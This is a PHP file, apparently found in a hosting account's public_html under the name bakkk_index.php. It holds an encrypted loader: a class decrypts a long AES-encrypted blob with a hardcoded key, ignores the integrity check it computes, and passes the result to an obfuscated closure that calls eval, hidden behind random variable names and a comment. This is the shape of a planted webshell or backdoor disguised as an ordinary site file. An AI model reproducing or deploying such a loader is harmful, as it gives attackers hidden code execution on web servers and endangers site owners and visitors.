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User: krislash (1030)
PHP: 8.1.33
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File: /home/krislash/public_html/bakkk_index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);